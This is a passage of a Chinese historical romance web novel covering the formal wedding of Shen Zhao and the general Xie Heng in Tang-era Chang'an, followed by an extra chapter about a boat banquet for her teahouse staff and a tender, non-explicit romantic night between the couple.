其后几天,每逢吉日,便会见到徐媒人或携雁或拿着庚帖和婚书,送到严家,直到第四次登门行纳征礼时,此是六礼之中最重要一环,男方派人纳送聘财以成婚礼。 严家的院子堆满了谢珩府上送来的箱笼,甚至连她兄长严军的卧房都暂充为库房存放。 婚期的日子老夫人早已定下,沈昭整日忙着帮严母整理,倒比她在茶铺时还忙些。 亲迎的前日,景明帝的祝福随着一道圣旨齐下,掌事太监派人遣沈昭进宫接受皇帝封赏。 一般官员的母妻封号取决于丈夫或其子的官职品阶,可景明帝为了给他们二人体面,赞她慧心通贾,在疫病肆虐时,倾囊赈济。 此是长安城百姓有目共睹之事,但并不知其背后是沈昭的手笔。 她被景明帝御赐封号昭国夫人。 沈昭笑着领旨谢恩,虽她当初只是力所能及,本意不图回报,但能得到额外之喜,仍不由得脚步轻快。 可谢珩的日子却没想象中那么轻松,他每每来严家时,总见严家门前街坊四邻,来往频繁,既有爱打听的街邻,又有李玥和高峻夫妇、夏目、柳宁等前来探望,接连送上祝福。 夜深时,为了避人口舌,他又不便现身。 一直等到亲迎那日,他终是得见自己的新娘子。 暮色初合,长安城百坊燃灯。 街角倏然笙箫沸天,十几名健仆抬着泥金檐子缓缓而来,花瓣沁着淡淡的香气抛洒漫天。 檐子前,谢珩身骑白马,着絺冕服,戴六旒礼冠,佩水苍玉佩,风姿俊逸,身后百骑部曲皆着绛衣。 及至府前,两人青庐交拜。 沈昭一袭青色翟服,外衣绣翟纹样,以黑红两色修饰其边缘,风卷起广袖,衣袂翻飞间露出内里的缠枝牡丹,却不如她的笑靥动人。 九树花钗压得她微微垂颈,却遮不住盖头下金缕坠子一晃,恰巧入了谢珩的眼,他指尖在袖中轻颤,眼瞳亮了一瞬,险些提前去掀喜帕。 沈昭自上次目睹李玥婚礼时,本以为只是公主规制礼仪繁琐,等到了她自己身上,一步步走过,才知从穿戴、妆容到婚服,皆有不同,虽上次同谢珩已有过一次仪式,可到底省去了许多,又加之当时在场没有诸多亲友,尚还随意。 待一一经过拜堂、撒帐、同牢与合卺、去花却扇、看花烛、拜舅姑等十多种仪式之后,沈昭浅浅呼出一口气,坐于婚床之上,用手轻扫着榻上的红枣、莲子等物。 谢珩抬手托住她头上的花钗:“夫人,今日辛苦你了。”他的指尖拂过她鬓边的金钗,动作轻柔又仔细,生怕扯疼了她,为她一一卸下头上的珠钗。 喜烛燃得正旺,映得她莹润如玉的脸庞透着淡淡的红,她浅笑:“我可不想嫁你第三次了。” 他久未出声,沈昭抬眸对上他的目光。 他就这么静静看着她,与出征前夜强忍着不同,仔仔细细看过她的眉眼,直到此刻,嘴角挂着压不下的笑意,眼眸中烛光轻曳,映着他的唯一。 沈昭被他盯的脸红,抬起手在他眼前晃晃,玉臂上的金钏碰撞,发出细碎轻响:“怎么?几日不见,不认识我了?” 谢珩握住她的手,先用脸轻轻贴上,又贴在唇边爱抚地亲呢:“尚还不能确定这是否只是我梦中一景。” 沈昭倾身上前在他额上落下一吻,一触及分,笑意盈盈盛满了眼眸:“这样,可分的清?” 这份温柔浅昧,还不及夜风拂面的力度,却深深烙在他心间。 他眼眸低垂,细细扫过她眉眼,沿着她挺翘又小巧的鼻尖滑下,落到那抹诱人的红,喉结上下滚动。 沈昭听到他的呼吸声渐重,四目相对的瞬间,他倾身而来,手臂发力,将她的手握于身后,吻上她芙蓉面上那抹最艳的红,轻轻地触碰、含吮,将她的口脂尽数碾乱。 沈昭仰头,被他吻得乱了呼吸,攥着他衣襟的指节蜷起,攥出深深褶皱。 他抬手扯下床帐,绣着百子图的纱帐层层垂落,将她们二人笼在这一方天地中。 修长的指节饶有耐性地解开她繁复的嫁衣系带,动作温柔又坚定。 鸳鸯锦被上金线闪烁起伏,映着两人交叠痴缠的身影,喜烛“噼啪”,不时爆出的灯花声,掩盖住红帐内偶尔溢出的呢喃。 月光漫过床榻,恰如悬崖那夜,只是这一次,没有刺骨寒风与孤立求援的无奈,只有彼此浅浅的呼吸声交错,和再也不会松开的手。 一旁的妆台上,并列着两枚印信,他的鱼符和她的假身份文牒,一时竟分不清哪个更旧些。 只是时光任然,再无人记得,这桩被传颂的良缘,始于一场漏洞百出的骗局,终于他们的岁岁年年。 正文完。 第78章 【番外】 “夫人说、她说今夜会在春风楼宴请铺子里的人,让您自己先用膳,不必等她。”杨方支支吾吾,掂量许久,才将沈昭意思委婉转达明白。 谢珩轻抬眼皮,沉闷一声,算是应下,眼眸的深沉却令人不敢靠近。 因着景明帝御赐封号又亲笔题了匾额,为沈昭本就兴旺的铺子又添了一把火,婚后她忙着开第三家茶铺和接洽南方商队,已经数日没早早回府了。 新铺子的掌柜还未找到合适人选,夏目与柳宁分身乏术,只得由她亲力亲为,常常过了丑时还在书房中议事,每日连最后的梳洗都用尽全身气力。 与谢珩相约的游湖,也一直被搁置,眼瞧着入了秋,再等又是一年。 沈昭手里拨弄着算盘,春风楼伙计面露难色地归来:“掌柜的,春风楼今夜订不到位置了。” 她头也未抬:“可问了其他酒楼,只需订三个雅间即可。” 伙计回道:“都问过了,也不知今儿是什么好日子,都订的满满当当,再或者就是没有这么大的地方。” 沈昭之前办过宴请,除了节庆佳日之外,少有如此情形。 正纳闷着,杨方手拎着食盒,装着她爱吃的茶点,志得意满地领命而来:“夫人,这是将军让我特意给您送来的,让您忧心着身子,他今夜包下一个二层的画舫,邀您同游,” 他挑挑眉,适时提醒道,“寻的厨子提前备下了三桌好酒好菜,宴请三十余人不在话下,不过将军今晚巡值,你们可先去,他大约亥时三刻会到。” 他刻意加重“你们”二字,又轻拍一旁伙计的肩膀,再明显不过。 沈昭放下手中的算盘,听到画舫,才恍然记得她同谢珩的约定,只因这段时日太忙了,全付诸于脑后。 她心领神会,如此倒也可以两全:“好,那还得替我谢过他如此周全。” 茶铺打烊后,夏目和柳宁各自领着茶铺的伙计来店内聚集,一同前往河边。 画舫之上,美酒佳肴俱全,谢珩还特意请了乐坊的乐工,丝竹声声,将河面上轻晃的灯影吹皱,这画舫本就不隔音,大家吃得畅快,觥筹交错,喧闹之声,传至二层之上。 谢珩正对月独饮,脸上愁云散去,在她们登船时,他虽然只匆匆一瞥沈昭的身影,但知她在自己身边,听到她的声音,仍心满意足。 杨方站在一旁侍奉,自他们成婚以后,他愈发看不懂了,嘴里浅声低语:“怎的将军还怕见人不成,独自藏在此处喝闷酒。” 谢珩自顾自地浅酌,虽听到他的话语,却未放在心上。 这几家茶铺倾注了沈昭数年心血,她与铺子里的伙计们共同庆祝,既并未主动邀他而来,他自当不会前去搅扰,只默默在她需要时打点周全,替她善后便是。 何况,他们其乐融融,他冒然前去反倒使他们拘谨。 沈昭此次宴请一为感谢,谢她们为茶铺的付出;二为从之前铺子里的伙计中选一名胜任者为新茶铺的掌柜的;三为改变制度,准备按股分利,如此年末时大家可得到一笔不菲的红包,又能留住店内的老伙计,省去频繁换人的麻烦。 不过她姑且一提,分利一事还需进一步合计商议,还需要多多请教同行。 众人举杯共饮,惟愿茶铺生意蒸蒸日上,万事顺遂。 沈昭遥望着河边巡值的金吾卫,不由得想起谢珩,她侧身问向一旁的春宁:“几时了?” “已过戌时了。” 快要到同谢珩约定的时辰了,她心里暗自急了几分,心不在焉一般,无意中承着伙计们邀请,多饮了几杯。 她本就酒量不好,今夜不仅喝了几杯葡萄酒,还浅饮了几杯白酒,头隐约昏昏沉沉的。 酒意阑珊,众人几经推举依着品性和能力,选出两名女子,各试工一个月,最后择优者任,她们二人举杯感谢道:“我们先敬掌柜的一杯,同时也感谢大伙儿对我们的信任,定会尽心尽力,将铺子越办越好!” 沈昭刚端起酒杯,被一旁的夏目拉扯着臂弯,念着沈昭本就酒量浅,在船上行动多有不便,她忙劝道:“少喝些,你莫不是忘了一会还有约?” 一旁的伙计竖起耳朵,听到有约时,饶有默契,异口同声地“哦”了一句。 几个识趣的人说道:“这天色太晚了,我家娘子还在家等着呢!咱们快回吧。” “咱们掌柜的这几日忙着铺子里的事,日夜操劳,可不能耽误人家夫妻团聚,要不我们小小掌柜从何而来呢。” 沈昭饮酒后,本来脸上就泛了一丝红意,经她们如此调笑,脸颊登时又热了几许,任船上的风都吹不散,她抬手佯装去打:“惯爱胡闹,方才谁大言不惭的要不醉不归。” 话语间已沾了醉意,众人见状收敛。 一个伙计抱起酒坛,笑嘻嘻:“我带回家喝,保管不浪费。” 画舫在众人的起哄声中慢悠悠靠了岸。 沈昭提步时,脚步已有些不稳,用手扶着船杆,目送他们离去,夏目因着蓁蓁独自在家,见她又有春宁在一旁侍奉,并未多留,随众人一起离开。 沈昭遥望着远处,眸中浮起一层朦胧水雾,眼前之景影影绰绰,已然有几分看不清明。 夜色沉霭,舫上灯影昏黄,映得河面上碎金粼粼。 忽而船身轻晃,漾起水波涟漪,她依在阑边的身子跟着晃了晃,她柔声喊道:“船家,我夫君还未赶到。” 还没等船家回应,温热的掌心先贴上她微凉的手腕,身后贴来一道熟悉的气息,那人臂弯轻揽,将她拥入怀中,耳畔落下他暧昧的蛊惑:“等了你一整夜” 沈昭转身,鬓边的一缕青丝随着她旋身,沾于脸侧,带着酒意的脸颊洇出淡淡的海棠色。 她仰首,撞进他幽深的眼眸中,眼角弯弯,鬓边的青丝随风微扬。 他喉结动了动,酒气氤氲中,她脸颊上的海棠色愈显,从眼尾一直漫到耳尖,好似剥了壳晶莹剔透的鲜荔枝从葡萄酒中滚过,沾着醉人的香。 河风寒凉,她双手圈住谢珩的腰,仰着脸冲他笑,眸中水光潋滟,映着桅灯点点,好似整条星河都在酿在她眸底,拖着软绵的调子嘟囔:“原来你早就到了。” 谢珩弓身,捞起她的腿弯,将她打横抱起,径自上了画舫二层:“我若再不来,万一你不慎跌入河中,该如何?” “怎么会”她的手环在他的颈后,仰着酡红的小脸争辩:“我没醉!”可尾音黏糯得仿佛能拉出丝来,舌尖打了卷儿咬不清字句。 挣扎着想要起身,却被谢珩紧紧抱于怀中,她忽地揪住他的衣襟凑近,呵着酒气问:“你、你放我下来。” 见她蹙着眉头,强撑着说自己没醉的模样,他低笑一声,用指腹轻轻抹去她眼尾噙的潮意:“醉成这样,还说没醉?”话语间全是噙着笑意的宠溺。 沈昭挣扎得厉害,谢珩只得将她稳稳当当抱于一旁的圈椅中,将她放下,双臂却撑在两旁,将她环于身下。 他俯身靠近,似一张铺天盖地的网将她罩住,他单膝抵在椅垫上,贴着她不安分乱动的双腿,衣袂垂落,不留一丝可逃离的空隙。 圈椅承载着他们两人重量,随着船身轻晃发出细微的吱呀声。 他的指尖挑起她的下巴时,玉簪应声落在地毯之上,青丝泻了满肩:“没醉。” 她脱出口的话消融在相贴的唇间,谢珩故意轻咬那瓣被酒液润红的胭脂,尝到琼浆混着口脂的甜腥。 沈昭只觉唇上一烫,醉眼迷蒙间,天旋地转,只有谢珩身上的气息清冽,混着残存的酒香填满她每一个感官。 乍触微微凉,可继而泛起层层汹涌的灼浪,烧得她只得大口喘息,可每一次唇瓣的开合又被他吻得更深,侵占她唇齿间的所有。 不久,她稍得喘息,酥麻的舌尖却尝到他渡来的醒酒茶的苦味,她下意识蹙眉偏头要躲,却被他掐着下巴更深地吻进去。 “唔”她无意识地呜咽一声,却被他更猛烈的趁机勾住软舌轻吮噬咬,比最烈的酒更让人昏沉。 肺腑之间全是他的气息,恍惚间分不清是酒意更浓,还是迷醉在唇齿间的攻城略地。 纠缠间溢出唇畔间的细碎喘息和他炽热的鼻息,沈昭醉眼微睁,只见他近在咫尺的长睫轻轻颤动,在烛影下投下一片暗色。 忽而身前一股凉意袭来,她抬手握住他不安分的指节,声音带着颤:“还在船上,你莫要孟浪。” 谢珩粗喘的气息喷在她耳侧,嗓音低哑:“打点好了,不会有人。”而后将她抱起,大步走进卧舱。 静夜风止,可船身荡漾,水波泛起层层涟漪。 唯有船上的琉璃灯,彻夜不息,船上的人儿便如那盏灯一样,被他捧在掌心,由内而外烧得透亮,却甘愿醉在这滔天又汹涌的热意中。